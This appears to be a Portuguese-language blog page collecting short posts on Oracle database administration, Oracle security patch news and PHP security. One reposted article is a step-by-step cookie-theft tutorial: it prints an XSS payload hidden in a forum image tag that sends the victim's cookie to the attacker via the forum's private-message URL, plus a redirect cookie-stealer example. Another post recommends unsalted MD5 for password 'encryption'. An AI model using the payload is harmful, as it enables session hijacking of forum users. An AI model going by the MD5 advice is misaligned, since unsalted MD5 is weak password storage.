Uma forma de efetuar o checksum do seu fonte pl/sql

Lendo sobre segurança no Oracle encontrei algo muito interessante para os desenvolvedores e no controle de versão de seus fontes no cliente.
Já pensou em ter um valor hash do seu fonte para identificar se houve alteração no seu cliente a partir de dentro do Oracle?

É isso mesmo você como desenvolvedor pode fechar a versão e ao invés de ficar usando programas externos e tals pode controlar as versões tudo pelos códigos hash´s dos seus fontes.
Ai o controle fica ao seu encargo.

Tenho por exemplo de uma procedure chamada get_idade que podesmo usar:
Continue lendo no oraclehome…


Trocar a aud$ da tablespace SYSTEM

Todos devem conhecer o parâmetro audit_trail do oracle, que habilita a auditoria da base. Porem como todos já sabem, no momento que é habilitado mais um recurso, teremos contra partida um custo a mais. Um caso é o armazenamento dos dados auditados. E como o padrão da oracle de instalação a tabela aud$ já vem na tablespace SYSTEM. Como bom DBA devemos trocar a tablespace desta tabela para que não fragmente a SYSTEM. Para isso há uma:

Continue lendo em oraclehome.com.br


Criptografando em MD5 no Oracle

Esses dias um cliente me solicitou algo para criptografar senhas, já conhecia a package dba_obfuscation_toolkit e ai fui pesquisar mais sobre e achei uma forma otima para criptografar a senha em MD5, assim fiz a função dentro do owner do sistema que faz esta conversão:

  1. v_input VARCHAR2(2000) := valor;
  2. hexkey VARCHAR2(32) := NULL;
  3. hexkey := RAWTOHEX(DBMS_OBFUSCATION_TOOLKIT.md5(input => UTL_RAW.cast_to_raw(v_input)));
  4. RETURN NVL(hexkey,'');
  5.  

Exemplo da utilização:

  1. sql> SELECT md5('senhadorafael') FROM dual;
  2. 70CB17EBF6A8DF8525016F7866075794
  3.  

Oracle vai corrigir 41 brechas de segurança

"A Oracle anunciou para o próxima terça, 15/4, a correção de 41 vulnerabilidades que afetam muitos de seus produtos.Essas correções fazem parte do pacote que a empresa publica trimestralmente. Das 41 falhas, 17 referem-se ao banco de dados Oracle, o principal produto da empresa. E duas delas podem ser exploradas numa rede, sem a necessidade de senha e nome de usuário.

Além do Oracle Database, nas versões 9i, 10g e 11g, também são afetados os produtos Oracle Application Server, Oracle Collaboration Suite, Oracle E-Business Suite, Oracle PeopleSoft Enterprise PeopleTools, Oracle PeopleSoft Enterprise HCM e Oracle Siebel SimBuilder.

O alerta da Oracle com a descrição do pacote está no site da empresa."

Fonte: INFO


Artigo que explica passo-a-passo a nova técnica de roubo de cookies, por meio de AJAX.

Estava lendo na Total Security um artigo que mostra como alguém pode roubar cookies usando ajax.

"A grande maioria de ladrões de cookies utiliza métodos de localização em javascript; exemplo window.document.location=http://www.totalsecurity.com.br/ladraodecookie.php. Isso irá redirecionar o internauta para uma página diferente. Agora vamos tentar usar javascript inline, javascript: window.document.location=http://www.sitequequeroredirecionar.com; Essa é a forma mais velha de roubo de cookies. Mas usuários menos bestinhas, até mesmo os bestinhas desconfiarão, pois não estaram no endereço em que iniciaram. Por isso usar AJAX, você poderá roubar cookies de forma silenciosa. Resultado final: pessoas visitam algo como um fórum, até ai tudo bem, do nada a cookie do mesmo é roubada. Nada parece ter acontecido.

Ficou curioso como funciona? Pois bem... imaginemos que estamos em um fórum, que por sua vez tenha uma falha XSS. A missão é infiltrar no fórum, inserir um código javascript(AJAX, é claro) usando a tag para driblar o sistema do fórum. Nesse código, o usuário mandará o cookie dele para você numa mensagem privada, usando o sistema de mensagem do fórum, é claro :)

  1. *tags modificadas para [] respectivamente.<br />
  2. [img src=javascript:<br />
  3. //Vamos setar XMLHttpRequestObject falso para ver se retornará verdadeiro depois..<br />
  4. var XMLHTTPRequestObject = false;<br />
  5. if (window.XMLHttpRequest)<br />
  6. {<br />
  7. XMLHttpRequestObject = new XMLHttpRequest();<br />
  8. }<br />
  9. else if(window.ActiveXObject)<br />
  10. {<br />
  11. XMLHttpRequestObject = new ActiveXObject(Microsoft.XMLHTTP);<br />
  12. }<br />
  13. else<br />
  14. {<br />
  15. alert(Javascript não está ativado.);<br />
  16. }

O código acima é simples, verificará se XMLHttpRequest poderá ser gerado. Se não, uma caixa de alerta será mostrada e o resto do código que será inserido agora, não entrará em funcionamento.

  1. function socket()<br />
  2. {<br />
  3. /*A linha a seguir é muito importante. Se o site está usando POST para enviar as mensagens, então terá de mudar o código usando o seu HTTP debugger. Em SEUNOMEDEUSUÁRIO, você botará seu login no fórum para receber mensagem privada com o cookie da vítima pelo sistema de mensagem privada do fórum*/<br />
  4. XMLHttpRequestObject.open('GET', 'http://www.sitequalquer.com/privatemessage.php user=SEUNOMEDEUSUÁRIO&subject=' + window.document.cookie, true);<br />
  5. XMLHttpRequestObject.setRequestHeader(Content-Type, application/x-www-form-urlencoded);<br />
  6. XMLHttpRequestObject.send(null);<br />
  7. //Out of the Goodness of our heart =p<br />
  8. delete XMLHttpRequestObject;<br />
  9. }<br />
  10. //Não esquecer de fechar a tag, afinal, isso é uma imagem <img src="http://www.rstoever.com/wp-includes/images/smilies/icon_wink.gif" alt=";)" class="wp-smiley" /><br />
  11. window.document.onload='socket();']<br />
  12.  

Esse foi um exemplo claro e bem-sucedido de um código em AJAX para um fórum, em que, quando o post for acessado, o usuário enviará uma mensagem privada com o seu respectivo cookie para quem você desejar."

Fonte: Total Security


Amanhã sai novo patch do Oracle

A Oracle está antecimando o anuncio dos patch´s para suas aplicações onde este anúncio antecipado facilitará o planejamento semanal dos clientes da Oracle, disse Darius Wiles, gerente sênior da Oracle Security Alerts.

A empresa tem sido criticada por sobrecarregar seus consumidores com uma enxurrada de atualizações de segurança confusas, e nos últimos meses tem tomado previdências para ajudar os usuários a entenderem quais as correções mais urgentes.

Em outubro do ano passado, a Oracle começou a simplificar seus relatórios de vulnerabilidades e a classificar seus bugs de acordo com o Sistema Comum de Pontuação de Vulnerabilidade (CVSS na sigla em inglês), também usado nos avisos de segurança da Cisco Systems. O CVSS pretende padronizar a classificação de falhas de segurança.

A Oracle classificou as atualizações como 7, na pontuação CVSS. Apesar de a pior classificação ser 10 pontos no sistema, 7 é a nota mais alta que a Oracle daria normalmente, porque suas falhas não costumam afetar a base do sistema operacional, segundo Willes.

Este patch terá 52 correções para o Database, Application Server, Enterprise Manager, Identity Management, E-Business Suite, Developer Suite e o PeopleSoft Enterprise People Tools.

A maioria desses patches será para o software de banco de dados da empresa, que receberá 27 correções ao todo. Dez dos bugs “podem ser explorados em uma rede sem a necessidade de nome e senha”, disse a empresa no anúncio.

Fonte: Oracle Critical Patch Update Pre-Release Announcement - January 2007


Segurança com PHP

Segurança Em um forum de discussao um colega abordou a questao de segurança usando PHP nos aplicativos web, em geral e ele menciona que os maiores culpados por invasões entre outros é o programador PHP, nao somente o aplicativo da php.net. Claro tens seus defeitinhos e tals, mas se todos vissem na documentação e conhecesse esses sites que identificam quais versões que tem vulnerabilidades e o que fazer ou melhor nao fazer para que isso prejudique os seus clientes/servidor e tudo envolvido pelo aplicativo.

Bom a integra do artigo pode ser consultado aqui (SecurityFocus).

E para quem quer saber das vulnerabilidades que o PHP ou outro Software tem pode consulta na SecurityFocus que há listas de discução sobre o problema, soluções a tomar, entre outros detalhes.

Dicas sobre segurança para o PHP: Principais falhas de Segurança no PHP, Segurança em código PHP, Enganando o lammer .php -> .aspx